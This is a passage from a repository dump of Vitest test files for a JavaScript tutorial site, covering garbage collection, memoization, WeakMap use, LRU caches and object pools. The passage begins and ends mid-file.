============================================================\n  \n  describe('Cache Patterns', () => {\n    // From lines 544-553: Regular object cache (leak pattern)\n    it('should demonstrate unbounded cache growth', () => {\n      const cache = {}\n      \n      function getCached(key) {\n        if (!cache[key]) {\n          cache[key] = `computed_${key}`\n        }\n        return cache[key]\n      }\n      \n      // Cache grows with each unique key\n      getCached('key1')\n      getCached('key2')\n      getCached('key3')\n      \n      expect(Object.keys(cache).length).toBe(3)\n      expect(cache['key1']).toBe('computed_key1')\n      \n      // This pattern can lead to memory leaks if keys keep growing\n      // and old entries are never removed\n    })\n  })\n  \n  // ============================================================\n  // CIRCULAR REFERENCE DETECTION PATTERNS\n  // ============================================================\n  \n  describe('Circular Reference Patterns', () => {\n    it('should create deeply nested circular references', () => {\n      const a = { name: 'a' }\n      const b = { name: 'b' }\n      const c = { name: 'c' }\n      \n      a.next = b\n      b.next = c\n      c.next = a  // Circular!\n      \n      // Can traverse the circle\n      expect(a.next.next.next.name).toBe('a')\n      expect(a.next.next.next.next.name).toBe('b')\n    })\n    \n    it('should create self-referencing objects', () => {\n      const obj = { name: 'self' }\n      obj.self = obj\n      \n      // Self-reference\n      expect(obj.self).toBe(obj)\n      expect(obj.self.self.self.name).toBe('self')\n      \n      // When obj is unreachable, the self-reference doesn't prevent GC\n    })\n  })\n  \n  // ============================================================\n  // TEST YOUR KNOWLEDGE - Q2 from lines 667-679\n  // ============================================================\n  \n  describe('Test Your Knowledge Examples', () => {\n    // From lines 667-679: createCycle function\n    it('should demonstrate circular reference in function scope', () => {\n      let cycleCreated = false\n      \n      function createCycle() {\n        let a = {}\n        let b = {}\n        a.ref = b\n        b.ref = a\n        cycleCreated = true\n      }\n      \n      createCycle()\n      // Both objects are collected after the function returns\n      // The circular reference doesn't keep them alive\n      expect(cycleCreated).toBe(true)\n    })\n  })\n  \n  // ============================================================\n  // REFERENCE COUNTING CONCEPTUAL EXAMPLE\n  // From garbage-collection.mdx lines 202-208\n  // ============================================================\n  \n  describe('Reference Counting (Conceptual)', () => {\n    // From lines 202-208: Reference counting example\n    it('should demonstrate multiple references to same object', () => {\n      // Reference counting (conceptual, not real JS)\n      let obj = { data: 'hello' }  // refcount would be: 1\n      let ref = obj                 // refcount would be: 2\n      \n      expect(obj).toBe(ref)\n      expect(obj.data).toBe('hello')\n      \n      ref = null                    // refcount would go to: 1\n      expect(ref).toBe(null)\n      expect(obj.data).toBe('hello') // Object still exists\n      \n      obj = null                    // refcount would go to: 0\n      expect(obj).toBe(null)\n      // Object would now be freed in reference counting\n    })\n  })\n  \n  // ============================================================\n  // EDGE CASES\n  // ============================================================\n  \n  describe('Edge Cases', () => {\n    it('should handle null and undefined references', () => {\n      let obj = { value: 1 }\n      \n      // Setting to null\n      obj = null\n      expect(obj).toBe(null)\n      \n      // Creating new object\n      obj = { value: 2 }\n      expect(obj.value).toBe(2)\n      \n      // Setting to undefined\n      obj = undefined\n      expect(obj).toBe(undefined)\n    })\n    \n    it('should handle reassignment in loops', () => {\n      let holder = null\n      \n      for (let i = 0; i < 5; i++) {\n        // Each iteration creates a new object\n        // Previous object becomes unreachable (eligible for GC)\n        holder = { iteration: i }\n      }\n      \n      // Only the last object is reachable\n      expect(holder.iteration).toBe(4)\n    })\n    \n    it('should handle objects in arrays', () => {\n      const arr = [{ id: 1 }, { id: 2 }, { id: 3 }]\n      \n      // All objects reachable through array\n      expect(arr[0].id).toBe(1)\n      \n      // Remove reference from array\n      arr[0] = null\n      expect(arr[0]).toBe(null)\n      // Original { id: 1 } is now eligible for GC\n      \n      // Clear array\n      arr.length = 0\n      expect(arr.length).toBe(0)\n      // All objects now eligible for GC\n    })\n    \n    it('should handle nested object structures', () => {\n      let root = {\n        level1: {\n          level2: {\n            level3: {\n              value: 'deep'\n            }\n          }\n        }\n      }\n      \n      // All levels reachable through root\n      expect(root.level1.level2.level3.value).toBe('deep')\n      \n      // Nullify intermediate reference\n      root.level1.level2 = null\n      \n      // level3 is now unreachable (eligible for GC)\n      expect(root.level1.level2).toBe(null)\n      \n      root = null\n      // Entire structure now eligible for GC\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/memory-performance/memoization/memoization.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('Memoization', () => {\n  // ============================================================\n  // WHAT IS MEMOIZATION?\n  // From memoization.mdx lines 37-58\n  // ============================================================\n\n  describe('What is Memoization?', () => {\n    // From lines 37-58: Basic memoizedDouble example\n    it('should cache results and return cached value on subsequent calls', () => {\n      function memoizedDouble(n) {\n        if (memoizedDouble.cache[n] !== undefined) {\n          return memoizedDouble.cache[n]\n        }\n        \n        const result = n * 2\n        memoizedDouble.cache[n] = result\n        return result\n      }\n      memoizedDouble.cache = {}\n\n      // First call - calculates\n      const result1 = memoizedDouble(5)\n      expect(result1).toBe(10)\n      expect(memoizedDouble.cache[5]).toBe(10)\n\n      // Second call - from cache\n      const result2 = memoizedDouble(5)\n      expect(result2).toBe(10)\n\n      // Different input - calculates\n      const result3 = memoizedDouble(7)\n      expect(result3).toBe(14)\n      expect(memoizedDouble.cache[7]).toBe(14)\n    })\n  })\n\n  // ============================================================\n  // HOW TO BUILD A MEMOIZE FUNCTION\n  // From memoization.mdx lines 94-195\n  // ============================================================\n\n  describe('How to Build a Memoize Function', () => {\n    // From lines 102-114: Step 1 - Basic Structure\n    describe('Step 1: Basic Structure', () => {\n      it('should memoize single argument functions', () => {\n        function memoize(fn) {\n          const cache = new Map()\n          \n          return function(arg) {\n            if (cache.has(arg)) {\n              return cache.get(arg)\n            }\n            \n            const result = fn(arg)\n            cache.set(arg, result)\n            return result\n          }\n        }\n\n        let callCount = 0\n        const double = memoize((n) => {\n          callCount++\n          return n * 2\n        })\n\n        expect(double(5)).toBe(10)\n        expect(callCount).toBe(1)\n        \n        expect(double(5)).toBe(10)\n        expect(callCount).toBe(1) // Not called again\n        \n        expect(double(7)).toBe(14)\n        expect(callCount).toBe(2)\n      })\n    })\n\n    // From lines 118-141: Step 2 - Handle Multiple Arguments\n    describe('Step 2: Handle Multiple Arguments', () => {\n      it('should memoize functions with multiple arguments', () => {\n        function memoize(fn) {\n          const cache = new Map()\n          \n          return function(...args) {\n            const key = JSON.stringify(args)\n            \n            if (cache.has(key)) {\n              return cache.get(key)\n            }\n            \n            const result = fn.apply(this, args)\n            cache.set(key, result)\n            return result\n          }\n        }\n\n        let callCount = 0\n        const add = memoize((a, b) => {\n          callCount++\n          return a + b\n        })\n\n        expect(add(2, 3)).toBe(5)\n        expect(callCount).toBe(1)\n        \n        expect(add(2, 3)).toBe(5)\n        expect(callCount).toBe(1) // Cached\n        \n        expect(add(3, 2)).toBe(5)\n        expect(callCount).toBe(2) // Different key: \"[3,2]\" vs \"[2,3]\"\n      })\n    })\n\n    // From lines 145-162: Step 3 - Preserve this Context\n    describe('Step 3: Preserve this Context', () => {\n      it('should preserve this context when used as method', () => {\n        function memoize(fn) {\n          const cache = new Map()\n          \n          return function(...args) {\n            const key = JSON.stringify(args)\n            \n            if (cache.has(key)) {\n              return cache.get(key)\n            }\n            \n            const result = fn.apply(this, args)\n            cache.set(key, result)\n            return result\n          }\n        }\n\n        const calculator = {\n          multiplier: 10,\n          \n          calculate: memoize(function(n) {\n            return n * this.multiplier\n          })\n        }\n\n        expect(calculator.calculate(5)).toBe(50)\n        expect(calculator.calculate(5)).toBe(50) // Cached\n      })\n    })\n\n    // From lines 166-181: Complete Implementation\n    describe('Complete Implementation', () => {\n      it('should work with the complete memoize function', () => {\n        function memoize(fn) {\n          const cache = new Map()\n          \n          return function memoized(...args) {\n            const key = JSON.stringify(args)\n            \n            if (cache.has(key)) {\n              return cache.get(key)\n            }\n            \n            const result = fn.apply(this, args)\n            cache.set(key, result)\n            return result\n          }\n        }\n\n        const multiply = memoize((a, b, c) => a * b * c)\n        \n        expect(multiply(2, 3, 4)).toBe(24)\n        expect(multiply(2, 3, 4)).toBe(24)\n        expect(multiply(1, 2, 3)).toBe(6)\n      })\n    })\n  })\n\n  // ============================================================\n  // MEMOIZING RECURSIVE FUNCTIONS\n  // From memoization.mdx lines 199-262\n  // ============================================================\n\n  describe('Memoizing Recursive Functions', () => {\n    // Helper memoize function for this section\n    function memoize(fn) {\n      const cache = new Map()\n      \n      return function memoized(...args) {\n        const key = JSON.stringify(args)\n        \n        if (cache.has(key)) {\n          return cache.get(key)\n        }\n        \n        const result = fn.apply(this, args)\n        cache.set(key, result)\n        return result\n      }\n    }\n\n    // From lines 203-217: The Problem - Exponential Time Complexity\n    describe('Naive Fibonacci', () => {\n      it('should calculate fibonacci correctly (but slowly)', () => {\n        function fibonacci(n) {\n          if (n <= 1) return n\n          return fibonacci(n - 1) + fibonacci(n - 2)\n        }\n\n        expect(fibonacci(0)).toBe(0)\n        expect(fibonacci(1)).toBe(1)\n        expect(fibonacci(5)).toBe(5)\n        expect(fibonacci(10)).toBe(55)\n      })\n    })\n\n    // From lines 221-237: The Solution - Memoized Fibonacci\n    describe('Memoized Fibonacci', () => {\n      it('should calculate fibonacci correctly and efficiently', () => {\n        const fibonacci = memoize(function fib(n) {\n          if (n <= 1) return n\n          return fibonacci(n - 1) + fibonacci(n - 2)\n        })\n\n        expect(fibonacci(0)).toBe(0)\n        expect(fibonacci(1)).toBe(1)\n        expect(fibonacci(5)).toBe(5)\n        expect(fibonacci(10)).toBe(55)\n        expect(fibonacci(40)).toBe(102334155)\n        expect(fibonacci(50)).toBe(12586269025)\n      })\n\n      it('should reuse cached values for larger inputs', () => {\n        let callCount = 0\n        \n        const fibonacci = memoize(function fib(n) {\n          callCount++\n          if (n <= 1) return n\n          return fibonacci(n - 1) + fibonacci(n - 2)\n        })\n\n        fibonacci(10)\n        const callsFor10 = callCount\n\n        callCount = 0\n        fibonacci(11) // Should only need to calculate fib(11) and fib(10)\n        \n        // With memoization, fib(11) reuses fib(10) and fib(9) from cache\n        expect(callCount).toBeLessThan(callsFor10)\n      })\n    })\n  })\n\n  // ============================================================\n  // WHEN MEMOIZATION HELPS\n  // From memoization.mdx lines 268-335\n  // ============================================================\n\n  describe('When Memoization Helps', () => {\n    function memoize(fn) {\n      const cache = new Map()\n      return function memoized(...args) {\n        const key = JSON.stringify(args)\n        if (cache.has(key)) return cache.get(key)\n        const result = fn.apply(this, args)\n        cache.set(key, result)\n        return result\n      }\n    }\n\n    // From lines 277-295: Expensive Computations\n    describe('Expensive Computations', () => {\n      it('should benefit from caching prime calculations', () => {\n        let callCount = 0\n        \n        const calculatePrimes = memoize(function(limit) {\n          callCount++\n          const primes = []\n          for (let i = 2; i <= limit; i++) {\n            let isPrime = true\n            for (let j = 2; j <= Math.sqrt(i); j++) {\n              if (i % j === 0) {\n                isPrime = false\n                break\n              }\n            }\n            if (isPrime) primes.push(i)\n          }\n          return primes\n        })\n\n        const result1 = calculatePrimes(100)\n        expect(callCount).toBe(1)\n        expect(result1).toContain(2)\n        expect(result1).toContain(97)\n\n        const result2 = calculatePrimes(100)\n        expect(callCount).toBe(1) // Not called again\n        expect(result2).toEqual(result1)\n      })\n    })\n\n    // From lines 299-314: Recursive with overlapping subproblems\n    describe('Recursive Functions with Overlapping Subproblems', () => {\n      it('should optimize climbStairs problem', () => {\n        const climbStairs = memoize(function(n) {\n          if (n <= 2) return n\n          return climbStairs(n - 1) + climbStairs(n - 2)\n        })\n\n        expect(climbStairs(1)).toBe(1)\n        expect(climbStairs(2)).toBe(2)\n        expect(climbStairs(3)).toBe(3)\n        expect(climbStairs(4)).toBe(5)\n        expect(climbStairs(5)).toBe(8)\n        expect(climbStairs(50)).toBe(20365011074)\n      })\n    })\n\n    // From lines 340-355: Pure Functions Only\n    describe('Pure Functions Only', () => {\n      it('should work correctly with pure functions', () => {\n        const square = memoize(n => n * n)\n        \n        expect(square(5)).toBe(25)\n        expect(square(5)).toBe(25)\n        expect(square(10)).toBe(100)\n      })\n\n      it('should demonstrate memoization failure with impure functions', () => {\n        let multiplier = 2\n        const multiply = memoize(n => n * multiplier)\n        \n        expect(multiply(5)).toBe(10)\n        \n        multiplier = 3\n        // BUG: Still returns 10 from cache, should be 15\n        expect(multiply(5)).toBe(10) // This demonstrates the problem\n      })\n    })\n  })\n\n  // ============================================================\n  // WHEN MEMOIZATION HURTS\n  // From memoization.mdx lines 345-408\n  // ============================================================\n\n  describe('When Memoization Hurts', () => {\n    function memoize(fn) {\n      const cache = new Map()\n      return function memoized(...args) {\n        const key = JSON.stringify(args)\n        if (cache.has(key)) return cache.get(key)\n        const result = fn.apply(this, args)\n        cache.set(key, result)\n        return result\n      }\n    }\n\n    // From lines 361-371: Functions with Side Effects\n    describe('Functions with Side Effects', () => {\n      it('should skip side effects on cache hits', () => {\n        const logs = []\n        \n        const logAndDouble = memoize(function(n) {\n          logs.push(`Doubling ${n}`)\n          return n * 2\n        })\n\n        expect(logAndDouble(5)).toBe(10)\n        expect(logs).toEqual(['Doubling 5'])\n\n        expect(logAndDouble(5)).toBe(10)\n        // Side effect NOT executed again - this is the problem!\n        expect(logs).toEqual(['Doubling 5'])\n      })\n    })\n  })\n\n  // ============================================================\n  // WEAKMAP FOR OBJECT ARGUMENTS\n  // From memoization.mdx lines 414-494\n  // ============================================================\n\n  describe('WeakMap for Object Arguments', () => {\n    // From lines 416-430: Problem with JSON.stringify\n    describe('JSON.stringify Problems', () => {\n      it('should show that different objects with same content create same key', () => {\n        const obj1 = { a: 1 }\n        const obj2 = { a: 1 }\n        \n        expect(JSON.stringify(obj1)).toBe(JSON.stringify(obj2))\n        // But they are different objects!\n        expect(obj1).not.toBe(obj2)\n      })\n    })\n\n    // From lines 434-456: WeakMap solution\n    describe('WeakMap-based Memoization', () => {\n      it('should cache based on object identity', () => {\n        function memoizeWithWeakMap(fn) {\n          const cache = new WeakMap()\n          \n          return function(obj) {\n            if (cache.has(obj)) {\n              return cache.get(obj)\n            }\n            \n            const result = fn(obj)\n            cache.set(obj, result)\n            return result\n          }\n        }\n\n        let callCount = 0\n        const processUser = memoizeWithWeakMap(function(user) {\n          callCount++\n          return { ...user, processed: true }\n        })\n\n        const user = { name: 'Alice' }\n        \n        const result1 = processUser(user)\n        expect(callCount).toBe(1)\n        expect(result1).toEqual({ name: 'Alice', processed: true })\n\n        const result2 = processUser(user)\n        expect(callCount).toBe(1) // Same object reference - cached\n\n        const sameData = { name: 'Alice' }\n        const result3 = processUser(sameData)\n        expect(callCount).toBe(2) // Different object - not cached\n      })\n    })\n\n    // From lines 477-494: Hybrid approach\n    describe('Hybrid Approach', () => {\n      it('should handle both primitives and objects', () => {\n        function memoizeHybrid(fn) {\n          const primitiveCache = new Map()\n          const objectCache = new WeakMap()\n          \n          return function(arg) {\n            const cache = typeof arg === 'object' && arg !== null \n              ? objectCache \n              : primitiveCache\n            \n            if (cache.has(arg)) {\n              return cache.get(arg)\n            }\n            \n            const result = fn(arg)\n            cache.set(arg, result)\n            return result\n          }\n        }\n\n        let callCount = 0\n        const process = memoizeHybrid((val) => {\n          callCount++\n          return typeof val === 'object' ? { ...val, processed: true } : val * 2\n        })\n\n        // Primitive handling\n        expect(process(5)).toBe(10)\n        expect(callCount).toBe(1)\n        expect(process(5)).toBe(10)\n        expect(callCount).toBe(1) // Cached\n\n        // Object handling\n        const obj = { x: 1 }\n        process(obj)\n        expect(callCount).toBe(2)\n        process(obj)\n        expect(callCount).toBe(2) // Cached\n      })\n    })\n  })\n\n  // ============================================================\n  // COMMON MEMOIZATION MISTAKES\n  // From memoization.mdx lines 500-575\n  // ============================================================\n\n  describe('Common Memoization Mistakes', () => {\n    function memoize(fn) {\n      const cache = new Map()\n      return function memoized(...args) {\n        const key = JSON.stringify(args)\n        if (cache.has(key)) return cache.get(key)\n        const result = fn.apply(this, args)\n        cache.set(key, result)\n        return result\n      }\n    }\n\n    // From lines 504-523: Mistake 1 - Memoizing Impure Functions\n    describe('Mistake 1: Memoizing Impure Functions', () => {\n      it('should demonstrate correct approach - make dependency an argument', () => {\n        const calculateTax = memoize(function(price, rate) {\n          return price * rate\n        })\n\n        expect(calculateTax(100, 0.08)).toBe(8)\n        expect(calculateTax(100, 0.10)).toBe(10)\n        // Different rates = different cache keys = correct results\n      })\n    })\n\n    // From lines 527-542: Mistake 2 - Argument Order Matters\n    describe('Mistake 2: Forgetting Argument Order Matters', () => {\n      it('should create different cache entries for different argument order', () => {\n        let callCount = 0\n        const add = memoize((a, b) => {\n          callCount++\n          return a + b\n        })\n\n        add(1, 2)\n        expect(callCount).toBe(1)\n        \n        add(2, 1) // Different key: \"[2,1]\" vs \"[1,2]\"\n        expect(callCount).toBe(2) // Calculates again even though result is same\n      })\n\n      it('should handle commutative operations with sorted keys', () => {\n        function memoizeCommutative(fn) {\n          const cache = new Map()\n          \n          return function(...args) {\n            const key = JSON.stringify(args.slice().sort())\n            if (cache.has(key)) return cache.get(key)\n            const result = fn.apply(this, args)\n            cache.set(key, result)\n            return result\n          }\n        }\n\n        let callCount = 0\n        const add = memoizeCommutative((a, b) => {\n          callCount++\n          return a + b\n        })\n\n        add(1, 2)\n        expect(callCount).toBe(1)\n        \n        add(2, 1) // Same sorted key: \"[1,2]\"\n        expect(callCount).toBe(1) // Uses cache\n      })\n    })\n\n    // From lines 546-567: Mistake 3 - Not Handling this Context\n    describe('Mistake 3: Not Handling this Context', () => {\n      it('should fail without proper this handling', () => {\n        function badMemoize(fn) {\n          const cache = new Map()\n          return function(...args) {\n            const key = JSON.stringify(args)\n            if (cache.has(key)) return cache.get(key)\n            const result = fn(...args) // 'this' is lost!\n            cache.set(key, result)\n            return result\n          }\n        }\n\n        const obj = {\n          value: 10,\n          compute: badMemoize(function(n) {\n            return n * this.value\n          })\n        }\n\n        // This will fail or return NaN because 'this' is not the object\n        expect(() => obj.compute(5)).toThrow()\n      })\n\n      it('should work with proper this handling', () => {\n        function goodMemoize(fn) {\n          const cache = new Map()\n          return function(...args) {\n            const key = JSON.stringify(args)\n            if (cache.has(key)) return cache.get(key)\n            const result = fn.apply(this, args) // 'this' preserved\n            cache.set(key, result)\n            return result\n          }\n        }\n\n        const obj = {\n          value: 10,\n          compute: goodMemoize(function(n) {\n            return n * this.value\n          })\n        }\n\n        expect(obj.compute(5)).toBe(50)\n      })\n    })\n\n    // From lines 571-587: Mistake 4 - Recursive Function References Wrong Version\n    describe('Mistake 4: Recursive Function References Wrong Version', () => {\n      it('should reference the memoized version in recursive calls', () => {\n        let callCount = 0\n        \n        // CORRECT: References 'factorial' (the memoized version)\n        const factorial = memoize(function(n) {\n          callCount++\n          if (n <= 1) return 1\n          return n * factorial(n - 1)\n        })\n\n        expect(factorial(5)).toBe(120)\n        const callsFor5 = callCount\n\n        callCount = 0\n        expect(factorial(6)).toBe(720)\n        // Should only call factorial(6) since 5! is cached\n        expect(callCount).toBe(1)\n      })\n    })\n  })\n\n  // ============================================================\n  // ADVANCED: LRU CACHE FOR BOUNDED MEMORY\n  // From memoization.mdx lines 595-630\n  // ============================================================\n\n  describe('Advanced: LRU Cache', () => {\n    // From lines 599-626: LRU Cache Implementation\n    it('should evict least recently used entries when at capacity', () => {\n      function memoizeLRU(fn, maxSize = 3) {\n        const cache = new Map()\n        \n        return function(...args) {\n          const key = JSON.stringify(args)\n          \n          if (cache.has(key)) {\n            // Move to end (most recently used)\n            const value = cache.get(key)\n            cache.delete(key)\n            cache.set(key, value)\n            return value\n          }\n          \n          const result = fn.apply(this, args)\n          \n          // Evict oldest entry if at capacity\n          if (cache.size >= maxSize) {\n            const oldestKey = cache.keys().next().value\n            cache.delete(oldestKey)\n          }\n          \n          cache.set(key, result)\n          return result\n        }\n      }\n\n      let callCount = 0\n      const double = memoizeLRU((n) => {\n        callCount++\n        return n * 2\n      }, 3)\n\n      // Fill cache\n      double(1) // cache: [1]\n      double(2) // cache: [1, 2]\n      double(3) // cache: [1, 2, 3]\n      expect(callCount).toBe(3)\n\n      // Access cached value\n      double(1) // cache: [2, 3, 1] (1 moved to end)\n      expect(callCount).toBe(3)\n\n      // Add new value, evicts oldest (2)\n      double(4) // cache: [3, 1, 4]\n      expect(callCount).toBe(4)\n\n      // 2 was evicted, needs recalculation\n      double(2) // cache: [1, 4, 2]\n      expect(callCount).toBe(5)\n\n      // 1 is still cached\n      double(1)\n      expect(callCount).toBe(5)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/memory-performance/memory-management/memory-management.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\n/**\n * Tests for Memory Management concept\n * Source: /docs/beyond/concepts/memory-management.mdx\n */\n\ndescribe('Memory Management', () => {\n  describe('Memory Allocation', () => {\n    // Source: memory-management.mdx lines ~115-125\n    it('should allocate memory for primitives', () => {\n      const n = 123\n      const s = \"hello\"\n      const b = true\n      \n      expect(typeof n).toBe('number')\n      expect(typeof s).toBe('string')\n      expect(typeof b).toBe('boolean')\n    })\n\n    // Source: memory-management.mdx lines ~115-125\n    it('should allocate memory for objects and arrays', () => {\n      const obj = { a: 1, b: 2 }\n      const arr = [1, 2, 3]\n      const fn = function() { return 'hello' }\n      \n      expect(obj).toEqual({ a: 1, b: 2 })\n      expect(arr).toEqual([1, 2, 3])\n      expect(fn()).toBe('hello')\n    })\n\n    // Source: memory-management.mdx lines ~127-131\n    it('should allocate new memory for string operations', () => {\n      const s = \"hello\"\n      const s2 = s.substring(0, 3)\n      \n      expect(s2).toBe('hel')\n      expect(s).toBe('hello')  // Original unchanged\n    })\n\n    // Source: memory-management.mdx lines ~127-131\n    it('should allocate new memory for array concatenation', () => {\n      const arr = [1, 2, 3]\n      const arr2 = arr.concat([4, 5])\n      \n      expect(arr2).toEqual([1, 2, 3, 4, 5])\n      expect(arr).toEqual([1, 2, 3])  // Original unchanged\n    })\n\n    // Source: memory-management.mdx lines ~127-131\n    it('should allocate new memory for object spread', () => {\n      const obj = { a: 1 }\n      const obj2 = { ...obj, c: 3 }\n      \n      expect(obj2).toEqual({ a: 1, c: 3 })\n      expect(obj).toEqual({ a: 1 })  // Original unchanged\n    })\n\n    // Source: memory-management.mdx lines ~135-139\n    it('should allocate memory via constructor calls', () => {\n      const date = new Date()\n      const regex = new RegExp(\"pattern\")\n      const map = new Map()\n      const set = new Set([1, 2, 3])\n      \n      expect(date instanceof Date).toBe(true)\n      expect(regex instanceof RegExp).toBe(true)\n      expect(map instanceof Map).toBe(true)\n      expect(set instanceof Set).toBe(true)\n      expect(set.size).toBe(3)\n    })\n  })\n\n  describe('Stack vs Heap: Reference Behavior', () => {\n    // Source: memory-management.mdx lines ~185-195\n    it('should demonstrate that primitives are copied by value (stack)', () => {\n      let a = 10\n      let b = a  // Copy of value\n      \n      b = 20\n      \n      expect(a).toBe(10)  // Original unchanged\n      expect(b).toBe(20)\n    })\n\n    // Source: memory-management.mdx lines ~185-195\n    it('should demonstrate that objects are passed by reference (heap)', () => {\n      const original = { value: 1 }\n      const copy = original  // Same reference!\n      \n      copy.value = 2\n      \n      expect(original.value).toBe(2)  // Both point to same object\n      expect(copy.value).toBe(2)\n    })\n\n    // Source: memory-management.mdx lines ~185-195\n    it('should create independent copy using spread operator', () => {\n      const original = { value: 1 }\n      const independent = { ...original }\n      \n      independent.value = 3\n      \n      expect(original.value).toBe(1)  // Original unchanged\n      expect(independent.value).toBe(3)\n    })\n\n    // Source: memory-management.mdx lines ~170-182\n    it('should demonstrate stack allocation for primitives in function', () => {\n      function calculateTotal(price, quantity) {\n        const tax = 0.08\n        const subtotal = price * quantity\n        const total = subtotal + (subtotal * tax)\n        return total\n      }\n      \n      const result = calculateTotal(100, 2)\n      expect(result).toBe(216)  // 200 + (200 * 0.08) = 216\n    })\n  })\n\n  describe('Reachability and Garbage Collection', () => {\n    // Source: memory-management.mdx lines ~210-220\n    it('should demonstrate single reference becoming null', () => {\n      let user = { name: \"John\" }\n      \n      // Object is reachable via 'user'\n      expect(user.name).toBe(\"John\")\n      \n      user = null  // Now the object has no references\n      expect(user).toBe(null)\n      // The original object can now be garbage collected\n    })\n\n    // Source: memory-management.mdx lines ~223-230\n    it('should demonstrate multiple references to same object', () => {\n      let user = { name: \"John\" }\n      let admin = user  // Two references to same object\n      \n      user = null  // Object still reachable via 'admin'\n      expect(admin.name).toBe(\"John\")\n      \n      admin = null  // Now the object is unreachable\n      expect(admin).toBe(null)\n    })\n\n    // Source: memory-management.mdx lines ~233-250\n    it('should demonstrate interlinked objects', () => {\n      function marry(man, woman) {\n        man.wife = woman\n        woman.husband = man\n        return { father: man, mother: woman }\n      }\n      \n      let family = marry({ name: \"John\" }, { name: \"Ann\" })\n      \n      expect(family.father.wife.name).toBe(\"Ann\")\n      expect(family.mother.husband.name).toBe(\"John\")\n      \n      family = null  // The entire structure becomes unreachable\n      // Even though John and Ann reference each other,\n      // they're unreachable from any root — so they're freed\n    })\n  })\n\n  describe('WeakMap and WeakSet', () => {\n    // Source: memory-management.mdx lines ~380-400\n    it('should store metadata with WeakMap', () => {\n      const metadata = new WeakMap()\n      \n      const element = { id: 1, type: 'button' }\n      metadata.set(element, {\n        processedAt: Date.now(),\n        clickCount: 0\n      })\n      \n      expect(metadata.has(element)).toBe(true)\n      expect(metadata.get(element).clickCount).toBe(0)\n    })\n\n    it('should not allow iteration over WeakMap', () => {\n      const wm = new WeakMap()\n      const key = {}\n      wm.set(key, 'value')\n      \n      // WeakMap is not iterable\n      expect(typeof wm[Symbol.iterator]).toBe('undefined')\n    })\n\n    it('should only accept objects as WeakMap keys', () => {\n      const wm = new WeakMap()\n      const obj = {}\n      \n      wm.set(obj, 'value')\n      expect(wm.get(obj)).toBe('value')\n      \n      // Primitives throw TypeError\n      expect(() => wm.set('string', 'value')).toThrow(TypeError)\n      expect(() => wm.set(123, 'value')).toThrow(TypeError)\n    })\n\n    it('should work with WeakSet for unique objects', () => {\n      const ws = new WeakSet()\n      const obj1 = { id: 1 }\n      const obj2 = { id: 2 }\n      \n      ws.add(obj1)\n      ws.add(obj2)\n      \n      expect(ws.has(obj1)).toBe(true)\n      expect(ws.has(obj2)).toBe(true)\n      expect(ws.has({ id: 1 })).toBe(false)  // Different object\n    })\n  })\n\n  describe('Common Memory Leak Patterns', () => {\n    describe('Accidental Global Variables', () => {\n      // Source: memory-management.mdx lines ~290-300\n      it('should demonstrate proper variable declaration', () => {\n        function processData() {\n          const localData = [1, 2, 3, 4, 5]\n          return localData.length\n        }\n        \n        const result = processData()\n        expect(result).toBe(5)\n        // localData is freed when function returns\n      })\n    })\n\n    describe('Closures Holding References', () => {\n      // Source: memory-management.mdx lines ~350-370\n      it('should demonstrate closure capturing only needed value', () => {\n        function createHandler() {\n          const hugeData = new Array(100).fill('x')\n          const length = hugeData.length  // Extract needed value\n          \n          return function handler() {\n            return length  // Only captures 'length', not hugeData\n          }\n        }\n        \n        const handler = createHandler()\n        expect(handler()).toBe(100)\n      })\n\n      it('should demonstrate closure capturing entire object', () => {\n        function createCounter() {\n          let count = 0\n          \n          return {\n            increment: () => ++count,\n            getCount: () => count\n          }\n        }\n        \n        const counter = createCounter()\n        counter.increment()\n        counter.increment()\n        expect(counter.getCount()).toBe(2)\n      })\n    })\n\n    describe('Growing Collections (Unbounded Caches)', () => {\n      // Source: memory-management.mdx lines ~375-410\n      it('should demonstrate bounded LRU cache', () => {\n        class LRUCache {\n          constructor(maxSize = 100) {\n            this.cache = new Map()\n            this.maxSize = maxSize\n          }\n          \n          get(key) {\n            if (this.cache.has(key)) {\n              const value = this.cache.get(key)\n              this.cache.delete(key)\n              this.cache.set(key, value)\n              return value\n            }\n            return undefined\n          }\n          \n          set(key, value) {\n            if (this.cache.has(key)) {\n              this.cache.delete(key)\n            } else if (this.cache.size >= this.maxSize) {\n              const firstKey = this.cache.keys().next().value\n              this.cache.delete(firstKey)\n            }\n            this.cache.set(key, value)\n          }\n          \n          get size() {\n            return this.cache.size\n          }\n        }\n        \n        const cache = new LRUCache(3)\n        \n        cache.set('a', 1)\n        cache.set('b', 2)\n        cache.set('c', 3)\n        expect(cache.size).toBe(3)\n        \n        cache.set('d', 4)  // Should evict 'a'\n        expect(cache.size).toBe(3)\n        expect(cache.get('a')).toBe(undefined)\n        expect(cache.get('d')).toBe(4)\n      })\n\n      it('should demonstrate WeakMap for object key caching', () => {\n        const cache = new WeakMap()\n        \n        function getData(obj) {\n          if (!cache.has(obj)) {\n            cache.set(obj, { computed: obj.id * 2 })\n          }\n          return cache.get(obj)\n        }\n        \n        const obj1 = { id: 5 }\n        const obj2 = { id: 10 }\n        \n        expect(getData(obj1).computed).toBe(10)\n        expect(getData(obj2).computed).toBe(20)\n        \n        // Same object returns cached value\n        expect(getData(obj1).computed).toBe(10)\n      })\n    })\n  })\n\n  describe('Object Pools', () => {\n    // Source: memory-management.mdx lines ~500-520\n    it('should reuse objects from pool instead of creating new ones', () => {\n      class ParticlePool {\n        constructor(size) {\n          this.pool = Array.from({ length: size }, () => ({\n            x: 0, y: 0, vx: 0, vy: 0, active: false\n          }))\n        }\n        \n        acquire() {\n          const particle = this.pool.find(p => !p.active)\n          if (particle) {\n            particle.active = true\n          }\n          return particle\n        }\n        \n        release(particle) {\n          particle.active = false\n          particle.x = 0\n          particle.y = 0\n          particle.vx = 0\n          particle.vy = 0\n        }\n        \n        getActiveCount() {\n          return this.pool.filter(p => p.active).length\n        }\n      }\n      \n      const pool = new ParticlePool(5)\n      \n      expect(pool.getActiveCount()).toBe(0)\n      \n      const p1 = pool.acquire()\n      const p2 = pool.acquire()\n      expect(pool.getActiveCount()).toBe(2)\n      \n      p1.x = 100\n      p1.y = 200\n      \n      pool.release(p1)\n      expect(pool.getActiveCount()).toBe(1)\n      expect(p1.x).toBe(0)  // Reset on release\n      \n      // Acquiring again should reuse the released particle\n      const p3 = pool.acquire()\n      